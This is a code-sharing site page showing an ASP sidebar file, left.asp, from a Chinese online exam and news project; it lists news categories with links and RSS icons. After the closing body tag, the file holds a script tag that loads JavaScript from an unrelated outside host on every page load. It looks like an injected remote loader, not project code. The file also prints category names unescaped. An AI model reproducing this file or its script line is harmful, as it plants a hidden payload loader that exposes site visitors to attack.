📄 left.asp

📁 通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务

💻 ASP

字号:

<!--#include File="conndb.asp"-->
<!--#include File="class/Category.asp"-->
<link href="style.css" rel="stylesheet">
<body bgcolor=#eeeeee>
<table border="0" width="100%" cellspacing="0" cellpadding="0" bordercolorlight="#c2c9e0" bordercolordark="#FFFFFF">
      <tr>         
          <td><a href='right.asp' target=main><font style='TEXT-DECORATION: none;color:black'>全部新闻</font></a>
<%                                                
  '定义变量
  Dim cid
  '读取所有的新闻类别到ct
  Set ct = New Category
  rs = ct.GetCategorylist()
  '显示新闻类别链接
  DO WHILE Not ct.rs.EOF
    stitle = ct.rs("CName")
    cid = ct.rs("CId")  
%> <br> <br> 
<a href='right.asp?cid=<%=cid%>' target=main><font style='TEXT-DECORATION: none;color:black'><%=stitle%></font></a>
<a href="rssNews.asp?cid=<%=cid%>" target=_blank><img src="pic/rss.png" border=0></a>                                                                                           
<%                                                 
    ct.rs.MoveNext                                               
  Loop
%></td>     
      </tr>   
      </table>
      <br><br>
      <a href='rsslist.asp' target=main><font style='TEXT-DECORATION: none;color:black'>
      <img src="pic/rss.png" border=0>新闻订阅</font></a>
      </body>
<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C

搜索代码 Ctrl + F

全屏模式 F11

切换主题 Ctrl + Shift + D

显示快捷键 ?

增大字号 Ctrl + =

减小字号 Ctrl + -